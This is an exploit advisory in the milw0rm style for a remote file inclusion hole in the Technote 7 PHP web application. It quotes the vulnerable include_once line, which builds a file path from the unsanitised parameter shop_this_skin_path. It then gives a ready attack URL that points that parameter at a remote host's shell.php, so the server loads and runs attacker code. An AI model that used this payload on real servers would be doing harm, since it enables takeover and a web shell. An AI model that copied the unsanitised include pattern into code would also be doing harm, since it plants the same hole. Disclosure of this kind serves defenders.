Technote 7 (shop_this_skin_path) Remote File Inclusion Vulnerability

#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------# #-----------Technote 7 Remote File Inclusion------------------------# # ----------developers site: http://www.technote.co.kr--------------# bash-3.1# cat technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php ...snip... $TWIN_SET['dir_path']= "$shop_this_skin_path/3_plugin_twindow/skin_gray"; ...snip... include_once "$TWIN_SET[dir_path]/frame_design.php"; http://site/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://ip.a.dd.r/shell.php? # milw0rm.com [2008-09-17]